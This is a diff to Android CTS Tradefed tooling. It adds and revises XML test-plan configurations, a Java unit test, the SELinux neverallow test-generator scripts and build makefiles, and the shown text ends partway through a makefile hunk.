diff --git a/tools/cts-tradefed/res/config/cts-reference-aosp.xml b/tools/cts-tradefed/res/config/cts-reference-aosp.xml
new file mode 100644
index 0000000..1e8df1c
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-reference-aosp.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs a subset of CTS tests using a reference AOSP system image">
+
+    <include name="cts" />
+
+    <option name="plan" value="cts-reference-aosp" />
+
+    <option name="compatibility:primary-abi-only" value="true" />
+
+    <!-- Tell all AndroidJUnitTests to exclude certain annotations -->
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
+
+    <!-- Tell all HostTests to exclude certain annotations -->
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.HostTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
+    <option name="compatibility:test-arg" value="com.android.compatibility.common.tradefed.testtype.JarHostTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
+
+    <!-- Radio system of a reference AOSP system image is not checked -->
+    <option name="compatibility:exclude-filter" value="CtsTelephonyTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsTelephony2TestCases" />
+    <option name="compatibility:exclude-filter" value="CtsIncidentHostTestCases com.android.server.cts.PackageIncidentTest#testPackageServiceDump" />
+    <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.SystemFeaturesTest#testLocationFeatures" />
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-sts.xml b/tools/cts-tradefed/res/config/cts-sts.xml
deleted file mode 100644
index 8e4c030..0000000
--- a/tools/cts-tradefed/res/config/cts-sts.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Runs Security Patch test cases">
-
-    <option name="plan" value="cts-sts" />
-
-    <include name="cts"/>
-
-    <option name="compatibility:include-filter" value="CtsSecurityTestCases" />
-
-    <option name="compatibility:include-filter" value="CtsSecurityHostTestCases" />
-
-    <!-- Only run tests with @SecurityTest annotation. -->
-    <option name="compatibility:module-arg" value="CtsSecurityHostTestCases:include-annotation:android.platform.test.annotations.SecurityTest"/>
-
-    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:include-annotation:android.platform.test.annotations.SecurityTest" />
-
-</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-suite.xml b/tools/cts-tradefed/res/config/cts-suite.xml
new file mode 100644
index 0000000..fe6c39d
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-suite.xml
@@ -0,0 +1,60 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs CTS as a suite">
+    <!-- running config -->
+    <build_provider class="com.android.compatibility.common.tradefed.build.CompatibilityBuildProvider" />
+    <test class="com.android.compatibility.common.tradefed.testtype.suite.CompatibilityTestSuite" />
+
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:rerun-from-file:true" />
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:fallback-to-serial-rerun:false" />
+
+    <logger class="com.android.tradefed.log.FileLogger">
+        <option name="log-level-display" value="WARN" />
+    </logger>
+    <!-- setup configs -->
+    <include name="cts-preconditions" />
+    <include name="cts-system-checkers" />
+    <include name="cts-known-failures" />
+
+    <option name="plan" value="cts-suite" />
+    <option name="test-tag" value="cts-suite" />
+
+    <option name="enable-root" value="false" />
+    <!-- retain 200MB of host log -->
+    <option name="max-log-size" value="200" />
+    <!--  retain 200MB of logcat -->
+    <option name="max-tmp-logcat-file" value="209715200" />
+
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.PropertyCheck">
+        <option name="property-name" value="ro.build.type" />
+        <option name="expected-value" value="user"/> <!-- Device should have user build -->
+        <option name="throw-error" value="false"/> <!-- Only print warning if not user build -->
+    </target_preparer>
+
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.PropertyCheck">
+        <option name="property-name" value="ro.product.locale" />
+        <option name="expected-value" value="en-US"/> <!-- Device locale should be US English -->
+        <option name="throw-error" value="false"/> <!-- Only print warning if not en-US -->
+    </target_preparer>
+
+    <template-include name="reporters" default="basic-reporters" />
+
+    <!-- Include additional test metadata output. -->
+    <template-include name="metadata-reporters" default="empty" />
+
+    <result_reporter class="com.android.compatibility.common.tradefed.result.ResultReporter" />
+    <result_reporter class="com.android.tradefed.result.suite.SuiteResultReporter" />
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-system-checkers.xml b/tools/cts-tradefed/res/config/cts-system-checkers.xml
new file mode 100644
index 0000000..b3adb69
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-system-checkers.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="CTS system checker configs">
+    <system_checker class="com.android.compatibility.common.tradefed.targetprep.NetworkConnectivityChecker" />
+    <system_checker class="com.android.tradefed.suite.checker.KeyguardStatusChecker" />
+    <system_checker class="com.android.tradefed.suite.checker.SystemServerStatusChecker" />
+    <system_checker class="com.android.tradefed.suite.checker.SystemServerFileDescriptorChecker" />
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-vendor-interface.xml b/tools/cts-tradefed/res/config/cts-vendor-interface.xml
index d1c3e15..73ec49b 100644
--- a/tools/cts-tradefed/res/config/cts-vendor-interface.xml
+++ b/tools/cts-tradefed/res/config/cts-vendor-interface.xml
@@ -13,14 +13,57 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<configuration description="Runs a subset of CTS tests for the Treble 'CTS on AOSP' requirement">
+<configuration description="Runs a subset of CTS tests that can heavily exercise HALs">
 
     <include name="cts" />
 
-    <option name="compatibility:plan" value="cts-vendor-interface" />
+    <option name="plan" value="cts-vendor-interface" />
 
     <!-- Include test modules -->
-    <option name="compatibility:include-filter" value="CtsAccelerationTestCases" />
+    <option name="compatibility:include-filter" value="CtsAadbHostTestCases" />
+    <option name="compatibility:include-filter" value="CtsAccessibilityServiceTestCases" />
+    <option name="compatibility:include-filter" value="CtsAccountManagerTestCases" />
+    <option name="compatibility:include-filter" value="CtsAnimationTestCases" />
+    <option name="compatibility:include-filter" value="CtsAppTestCases" />
+    <option name="compatibility:include-filter" value="CtsAtraceHostTestCases" />
+    <option name="compatibility:include-filter" value="CtsAutoFillServiceTestCases" />
+    <option name="compatibility:include-filter" value="CtsCameraTestCases" />
+    <option name="compatibility:include-filter" value="CtsContentTestCases" />
+    <option name="compatibility:include-filter" value="CtsDeqpTestCases" />
+    <option name="compatibility:include-filter" value="CtsFragmentTestCases" />
+    <option name="compatibility:include-filter" value="CtsGraphicsTestCases" />
+    <option name="compatibility:include-filter" value="CtsHostsideNetworkTests" />
+    <option name="compatibility:include-filter" value="CtsIcuTestCases" />
+    <option name="compatibility:include-filter" value="CtsKeystoreTestCases" />
+    <option name="compatibility:include-filter" value="CtsLibcoreJavaUtilCollectionsTestCases" />
+    <option name="compatibility:include-filter" value="CtsLibcoreOjTestCases" />
+    <option name="compatibility:include-filter" value="CtsLibcoreTestCases" />
+    <option name="compatibility:include-filter" value="CtsLocationTestCases" />
+    <option name="compatibility:include-filter" value="CtsMediaStressTestCases" />
+    <option name="compatibility:include-filter" value="CtsMidiTestCases" />
+    <option name="compatibility:include-filter" value="CtsMonkeyTestCases" />
+    <option name="compatibility:include-filter" value="CtsNetTestCases" />
+    <option name="compatibility:include-filter" value="CtsOsTestCases" />
+    <option name="compatibility:include-filter" value="CtsPdfTestCases" />
+    <option name="compatibility:include-filter" value="CtsPreference2TestCases" />
+    <option name="compatibility:include-filter" value="CtsPrintTestCases" />
+    <option name="compatibility:include-filter" value="CtsProviderTestCases" />
+    <option name="compatibility:include-filter" value="CtsRsBlasTestCases" />
+    <option name="compatibility:include-filter" value="CtsSecurityHostTestCases" />
+    <option name="compatibility:include-filter" value="CtsSecurityTestCases" />
+    <option name="compatibility:include-filter" value="CtsSensorTestCases" />
+    <option name="compatibility:include-filter" value="CtsShortcutHostTestCases" />
+    <option name="compatibility:include-filter" value="CtsSignatureTestCases" />
+    <option name="compatibility:include-filter" value="CtsSignatureTestCases" />
+    <option name="compatibility:include-filter" value="CtsSustainedPerformanceHostTestCases" />
+    <option name="compatibility:include-filter" value="CtsTelephonyTestCases" />
+    <option name="compatibility:include-filter" value="CtsTextTestCases" />
+    <option name="compatibility:include-filter" value="CtsUiRenderingTestCases" />
+    <option name="compatibility:include-filter" value="CtsViewTestCases" />
+    <option name="compatibility:include-filter" value="CtsWebkitTestCases" />
+    <option name="compatibility:include-filter" value="CtsWidgetTestCases" />
+    <option name="compatibility:include-filter" value="CtsWindowManagerHostTestCases" />
+
     <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:include-annotation:com.android.compatibility.common.util.VendorInterfaceTest" />
     <option name="compatibility:test-arg" value="com.android.compatibility.common.tradefed.testtype.JarHostTest:include-annotation:com.android.compatibility.common.util.VendorInterfaceTest" />
 
diff --git a/tools/cts-tradefed/res/config/cts-virtual-device.xml b/tools/cts-tradefed/res/config/cts-virtual-device.xml
new file mode 100644
index 0000000..10945f0
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-virtual-device.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs CTS with common options set for an automated run on userdebug/eng builds, and per module rules suitable for virtual devices">
+
+    <include name="cts-automated" />
+
+    <!-- add per module rules for virtual devices below -->
+    <option name="compatibility:module-arg" value="CtsDevicePolicyManagerTestCases:exclude-annotation:android.platform.test.annotations.RequiresDevice" />
+    <option name="compatibility:module-arg" value="CtsDeqpTestCases:include-filter:dEQP-GLES2.functional.prerequisite#*" />
+    <option name="compatibility:module-arg" value="CtsDeqpTestCases:include-filter:dEQP-EGL.*" />
+    <option name="compatibility:module-arg" value="CtsLibcoreTestCases:core-expectation:/virtualdeviceknownfailures.txt" />
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts.xml b/tools/cts-tradefed/res/config/cts.xml
index f7a40ba..818004d 100644
--- a/tools/cts-tradefed/res/config/cts.xml
+++ b/tools/cts-tradefed/res/config/cts.xml
@@ -17,11 +17,22 @@
 
     <include name="everything" />
     <include name="cts-preconditions" />
+    <include name="cts-system-checkers" />
     <include name="cts-known-failures" />
 
-    <option name="compatibility:plan" value="cts" />
+    <option name="plan" value="cts" />
+    <option name="test-tag" value="cts" />
 
     <option name="enable-root" value="false" />
+    <!-- retain 200MB of host log -->
+    <option name="max-log-size" value="200" />
+    <!--  retain 200MB of logcat -->
+    <option name="max-tmp-logcat-file" value="209715200" />
+
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="settings put global package_verifier_enable 0" />
+        <option name="teardown-command" value="settings put global package_verifier_enable 1"/>
+    </target_preparer>
 
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.PropertyCheck">
         <option name="property-name" value="ro.build.type" />
diff --git a/tools/cts-tradefed/res/config/retry.xml b/tools/cts-tradefed/res/config/retry.xml
new file mode 100644
index 0000000..c4a7ced
--- /dev/null
+++ b/tools/cts-tradefed/res/config/retry.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs a retry of a previous CTS session.">
+
+    <device_recovery class="com.android.tradefed.device.WaitDeviceRecovery" />
+    <build_provider class="com.android.compatibility.common.tradefed.build.CompatibilityBuildProvider" />
+    <test class="com.android.compatibility.common.tradefed.testtype.retry.RetryFactoryTest" />
+    <logger class="com.android.tradefed.log.FileLogger">
+        <option name="log-level-display" value="WARN" />
+    </logger>
+
+    <include name="cts-preconditions" />
+    <include name="cts-system-checkers" />
+    <include name="cts-known-failures" />
+
+    <option name="plan" value="cts-retry" />
+    <option name="test-tag" value="cts" />
+    <option name="skip-device-info" value="true" />
+    <option name="enable-root" value="false" />
+
+    <result_reporter class="com.android.compatibility.common.tradefed.result.ConsoleReporter" />
+    <result_reporter class="com.android.compatibility.common.tradefed.result.ResultReporter" />
+
+    <template-include name="reporters" default="basic-reporters" />
+
+    <!-- Include additional test metadata output. -->
+    <template-include name="metadata-reporters" default="empty" />
+
+</configuration>
diff --git a/tools/cts-tradefed/res/config/security-bulletin.xml b/tools/cts-tradefed/res/config/security-bulletin.xml
new file mode 100644
index 0000000..02175a9
--- /dev/null
+++ b/tools/cts-tradefed/res/config/security-bulletin.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs Security Patch test cases">
+
+    <option name="plan" value="security-bulletin" />
+
+    <include name="cts"/>
+
+    <option name="compatibility:include-filter" value="CtsSecurityTestCases" />
+
+    <option name="compatibility:include-filter" value="CtsSecurityHostTestCases" />
+
+    <!-- Only run tests with @SecurityTest annotation. -->
+    <option name="compatibility:module-arg" value="CtsSecurityHostTestCases:include-annotation:android.platform.test.annotations.SecurityTest"/>
+
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:include-annotation:android.platform.test.annotations.SecurityTest" />
+
+</configuration>
diff --git a/tools/cts-tradefed/tests/Android.mk b/tools/cts-tradefed/tests/Android.mk
index 280cdfb..2a391c0 100644
--- a/tools/cts-tradefed/tests/Android.mk
+++ b/tools/cts-tradefed/tests/Android.mk
@@ -20,6 +20,8 @@
 
 LOCAL_MODULE := cts-tradefed-tests
 LOCAL_MODULE_TAGS := optional
-LOCAL_JAVA_LIBRARIES := tradefed-prebuilt cts-tradefed
+LOCAL_JAVA_LIBRARIES := tradefed cts-tradefed
+# We ship the Deqp Runner tests with the CTS one to validate them.
+LOCAL_STATIC_JAVA_LIBRARIES := CtsDeqpRunnerTests
 
-include $(BUILD_HOST_JAVA_LIBRARY)
\ No newline at end of file
+include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/tradefed/CtsTradefedTest.java b/tools/cts-tradefed/tests/src/com/android/compatibility/tradefed/CtsTradefedTest.java
index 47e4837..512d8bd 100644
--- a/tools/cts-tradefed/tests/src/com/android/compatibility/tradefed/CtsTradefedTest.java
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/tradefed/CtsTradefedTest.java
@@ -18,6 +18,7 @@
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildProvider;
 import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.config.OptionSetter;
 import com.android.tradefed.util.FileUtil;
 
 import junit.framework.TestCase;
@@ -34,7 +35,20 @@
     private static final String SUITE_NAME = "CTS";
     private static final String SUITE_PLAN = "cts";
     private static final String DYNAMIC_CONFIG_URL = "";
-    private static final long START_TIME = 123456L;
+
+    private String mOriginalProperty = null;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mOriginalProperty = System.getProperty(PROPERTY_NAME);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        System.setProperty(PROPERTY_NAME, mOriginalProperty);
+        super.tearDown();
+    }
 
     public void testSuiteInfoLoad() throws Exception {
         // Test the values in the manifest can be loaded
@@ -45,12 +59,13 @@
         File tests = new File(base, "testcases");
         tests.mkdirs();
         CompatibilityBuildProvider provider = new CompatibilityBuildProvider();
+        OptionSetter setter = new OptionSetter(provider);
+        setter.setOptionValue("plan", SUITE_PLAN);
+        setter.setOptionValue("dynamic-config-url", DYNAMIC_CONFIG_URL);
         IBuildInfo info = provider.getBuild();
         CompatibilityBuildHelper helper = new CompatibilityBuildHelper(info);
-        helper.init(SUITE_PLAN, DYNAMIC_CONFIG_URL, START_TIME);
         assertEquals("Incorrect suite full name", SUITE_FULL_NAME, helper.getSuiteFullName());
         assertEquals("Incorrect suite name", SUITE_NAME, helper.getSuiteName());
         FileUtil.recursiveDelete(root);
-        System.clearProperty(PROPERTY_NAME);
     }
 }
diff --git a/tools/selinux/SELinuxNeverallowTestFrame.py b/tools/selinux/SELinuxNeverallowTestFrame.py
index f1219c1..f84f2ec 100644
--- a/tools/selinux/SELinuxNeverallowTestFrame.py
+++ b/tools/selinux/SELinuxNeverallowTestFrame.py
@@ -18,7 +18,8 @@
 
 package android.cts.security;
 
-import com.android.cts.migration.MigrationHelper;
+import android.platform.test.annotations.RestrictedBuildTest;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceTestCase;
@@ -63,7 +64,8 @@
     @Override
     protected void setUp() throws Exception {
         super.setUp();
-        sepolicyAnalyze = MigrationHelper.getTestFile(mBuild, "sepolicy-analyze");
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
+        sepolicyAnalyze = buildHelper.getTestFile("sepolicy-analyze");
         sepolicyAnalyze.setExecutable(true);
 
         /* obtain sepolicy file from running device */
@@ -71,18 +73,29 @@
         devicePolicyFile.deleteOnExit();
         mDevice.pullFile("/sys/fs/selinux/policy", devicePolicyFile);
     }
+
+    private boolean isFullTrebleDevice() throws Exception {
+        return android.security.cts.SELinuxHostTest.isFullTrebleDevice(mDevice);
+    }
 """
 src_body = ""
 src_footer = """}
 """
 
 src_method = """
+    @RestrictedBuildTest
     public void testNeverallowRules() throws Exception {
         String neverallowRule = "$NEVERALLOW_RULE_HERE$";
+        boolean fullTrebleOnly = $FULL_TREBLE_ONLY_BOOL_HERE$;
+
+        if ((fullTrebleOnly) && (!isFullTrebleDevice())) {
+            // This test applies only to Treble devices but this device isn't one
+            return;
+        }
 
         /* run sepolicy-analyze neverallow check on policy file using given neverallow rules */
         ProcessBuilder pb = new ProcessBuilder(sepolicyAnalyze.getAbsolutePath(),
-                devicePolicyFile.getAbsolutePath(), "neverallow", "-n",
+                devicePolicyFile.getAbsolutePath(), "neverallow", "-w", "-n",
                 neverallowRule);
         pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
         pb.redirectErrorStream(true);
diff --git a/tools/selinux/SELinuxNeverallowTestGen.py b/tools/selinux/SELinuxNeverallowTestGen.py
index bc775d6..e74ba78 100755
--- a/tools/selinux/SELinuxNeverallowTestGen.py
+++ b/tools/selinux/SELinuxNeverallowTestGen.py
@@ -4,35 +4,82 @@
 import sys
 import SELinuxNeverallowTestFrame
 
-usage = "Usage: ./gen_SELinux_CTS_neverallows.py <input policy file> <output cts java source>"
+usage = "Usage: ./SELinuxNeverallowTestGen.py <input policy file> <output cts java source>"
+
+
+class NeverallowRule:
+    statement = ''
+    treble_only = False
+
+    def __init__(self, statement):
+        self.statement = statement
+        self.treble_only = False
+
 
 # extract_neverallow_rules - takes an intermediate policy file and pulls out the
 # neverallow rules by taking all of the non-commented text between the 'neverallow'
 # keyword and a terminating ';'
-# returns: a list of strings representing these rules
+# returns: a list of rules
 def extract_neverallow_rules(policy_file):
     with open(policy_file, 'r') as in_file:
         policy_str = in_file.read()
+
+        # full-Treble only tests are inside sections delimited by BEGIN_TREBLE_ONLY
+        # and END_TREBLE_ONLY comments.
+
+        # uncomment TREBLE_ONLY section delimiter lines
+        remaining = re.sub(
+            r'^\s*#\s*(BEGIN_TREBLE_ONLY|END_TREBLE_ONLY)',
+            r'\1',
+            policy_str,
+            flags = re.M)
         # remove comments
-        no_comments = re.sub(r'#.+?$', r'', policy_str, flags = re.M)
+        remaining = re.sub(r'#.+?$', r'', remaining, flags = re.M)
         # match neverallow rules
-        return re.findall(r'(^neverallow\s.+?;)', no_comments, flags = re.M |re.S);
+        lines = re.findall(
+            r'^\s*(neverallow\s.+?;|BEGIN_TREBLE_ONLY|END_TREBLE_ONLY)',
+            remaining,
+            flags = re.M |re.S)
+
+        # extract neverallow rules from the remaining lines
+        rules = list()
+        treble_only_depth = 0
+        for line in lines:
+            if line.startswith("BEGIN_TREBLE_ONLY"):
+                treble_only_depth += 1
+                continue
+            elif line.startswith("END_TREBLE_ONLY"):
+                if treble_only_depth < 1:
+                    exit("ERROR: END_TREBLE_ONLY outside of TREBLE_ONLY section")
+                treble_only_depth -= 1
+                continue
+            rule = NeverallowRule(line)
+            rule.treble_only = (treble_only_depth > 0)
+            rules.append(rule)
+
+        if treble_only_depth != 0:
+            exit("ERROR: end of input while inside TREBLE_ONLY section")
+        return rules
 
 # neverallow_rule_to_test - takes a neverallow statement and transforms it into
 # the output necessary to form a cts unit test in a java source file.
 # returns: a string representing a generic test method based on this rule.
-def neverallow_rule_to_test(neverallow_rule, test_num):
-    squashed_neverallow = neverallow_rule.replace("\n", " ")
+def neverallow_rule_to_test(rule, test_num):
+    squashed_neverallow = rule.statement.replace("\n", " ")
     method  = SELinuxNeverallowTestFrame.src_method
     method = method.replace("testNeverallowRules()",
         "testNeverallowRules" + str(test_num) + "()")
-    return method.replace("$NEVERALLOW_RULE_HERE$", squashed_neverallow)
+    method = method.replace("$NEVERALLOW_RULE_HERE$", squashed_neverallow)
+    method = method.replace(
+        "$FULL_TREBLE_ONLY_BOOL_HERE$",
+        "true" if rule.treble_only else "false")
+    return method
 
 if __name__ == "__main__":
     # check usage
     if len(sys.argv) != 3:
         print usage
-        exit()
+        exit(1)
     input_file = sys.argv[1]
     output_file = sys.argv[2]
 
diff --git a/tools/utils/Android.mk b/tools/utils/Android.mk
index ef2e1bb..6b01e57 100644
--- a/tools/utils/Android.mk
+++ b/tools/utils/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_CLASSPATH := $(HOST_JDK_TOOLS_JAR)
 
-LOCAL_JAVA_LIBRARIES := junit-host
+LOCAL_JAVA_LIBRARIES := junit-host tradefed
 LOCAL_STATIC_JAVA_LIBRARIES := compatibility-host-util vogarexpectlib
 
 include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/tools/utils/CollectAllTests.java b/tools/utils/CollectAllTests.java
index 8003f4d..cd85e0c 100644
--- a/tools/utils/CollectAllTests.java
+++ b/tools/utils/CollectAllTests.java
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-import com.android.compatibility.common.util.AbiUtils;
+import com.android.tradefed.util.AbiUtils;
 
 import org.junit.runner.RunWith;
 import org.w3c.dom.Document;
diff --git a/tools/utils/VogarUtils.java b/tools/utils/VogarUtils.java
index 77c62da..8657aa6 100644
--- a/tools/utils/VogarUtils.java
+++ b/tools/utils/VogarUtils.java
@@ -19,7 +19,7 @@
 import vogar.ModeId;
 import vogar.Result;
 
-import com.android.compatibility.common.util.AbiUtils;
+import com.android.tradefed.util.AbiUtils;
 
 import java.io.File;
 import java.io.FilenameFilter;
diff --git a/tools/utils/buildCts.py b/tools/utils/buildCts.py
index f983b15..c07e115 100755
--- a/tools/utils/buildCts.py
+++ b/tools/utils/buildCts.py
@@ -522,18 +522,6 @@
           'android.alarmclock.cts.SetAlarmTest#testAll',
           'android.alarmclock.cts.SnoozeAlarmTest#testAll',
       ],
-      'android.assist' : [
-          'android.assist.cts.AssistantContentViewTest',
-          'android.assist.cts.ExtraAssistDataTest',
-          'android.assist.cts.FocusChangeTest',
-          'android.assist.cts.LargeViewHierarchyTest',
-          'android.assist.cts.ScreenshotTest',
-          'android.assist.cts.TextViewTest',
-          'android.assist.cts.WebViewTest',
-      ],
-      'android.calllog' : [
-          'android.calllog.cts.CallLogBackupTest#testSingleCallBackup',
-      ],
       'android.dumpsys' : [
           'android.dumpsys.cts.DumpsysHostTest#testBatterystatsOutput',
           'android.dumpsys.cts.DumpsysHostTest#testGfxinfoFramestats',
diff --git a/tools/vm-tests-tf/Android.mk b/tools/vm-tests-tf/Android.mk
index 7850059..28e7d72 100644
--- a/tools/vm-tests-tf/Android.mk
+++ b/tools/vm-tests-tf/Android.mk
@@ -91,7 +91,7 @@
 $(LOCAL_BUILT_MODULE): PRIVATE_CLASS_PATH := $(call normalize-path-list, $(vmteststf_dep_jars))
 $(LOCAL_BUILT_MODULE): PRIVATE_JACK_VERSION := $(LOCAL_JACK_VERSION)
 ifndef LOCAL_JACK_ENABLED
-$(LOCAL_BUILT_MODULE) : $(vmteststf_dep_jars) $(HOST_OUT_JAVA_LIBRARIES)/tradefed-prebuilt.jar
+$(LOCAL_BUILT_MODULE) : $(vmteststf_dep_jars) $(HOST_OUT_JAVA_LIBRARIES)/tradefed.jar
 	$(hide) rm -rf $(dir $@) && mkdir -p $(dir $@)
 	$(hide) mkdir -p $(PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES)/dot/junit $(dir $(PRIVATE_INTERMEDIATES_DEXCORE_JAR))
 	# generated and compile the host side junit tests
@@ -99,7 +99,7 @@
 	$(hide) java \
 	    $(if $(EXPERIMENTAL_USE_OPENJDK9),--add-exports jdk.jartool/sun.tools.jar=ALL-UNNAMED) \
 	    -cp $(PRIVATE_CLASS_PATH) util.build.BuildDalvikSuite $(PRIVATE_SRC_FOLDER) $(PRIVATE_INTERMEDIATES) \
-		$(HOST_OUT_JAVA_LIBRARIES)/cts-tf-dalvik-buildutil.jar:$(HOST_OUT_JAVA_LIBRARIES)/tradefed-prebuilt.jar \
+		$(HOST_OUT_JAVA_LIBRARIES)/cts-tf-dalvik-buildutil.jar:$(HOST_OUT_JAVA_LIBRARIES)/tradefed.jar \
 		$(PRIVATE_INTERMEDIATES_MAIN_FILES) $(PRIVATE_INTERMEDIATES_CLASSES) $(PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES) $$RUN_VM_TESTS_RTO
 	@echo "Generate $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)"
 	$(hide) jar -cf $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jar \
@@ -111,8 +111,8 @@
 else # LOCAL_JACK_ENABLED
 oj_jack := $(call intermediates-dir-for,JAVA_LIBRARIES,core-oj,,COMMON)/classes.jack
 libart_jack := $(call intermediates-dir-for,JAVA_LIBRARIES,core-libart,,COMMON)/classes.jack
-$(LOCAL_BUILT_MODULE): PRIVATE_DALVIK_SUITE_CLASSPATH := $(oj_jack):$(libart_jack):$(cts-tf-dalvik-lib.jack):$(HOST_OUT_JAVA_LIBRARIES)/tradefed-prebuilt.jar
-$(LOCAL_BUILT_MODULE) : $(vmteststf_dep_jars) $(JACK) $(oj_jack) $(libart_jack) $(HOST_OUT_JAVA_LIBRARIES)/tradefed-prebuilt.jar | setup-jack-server
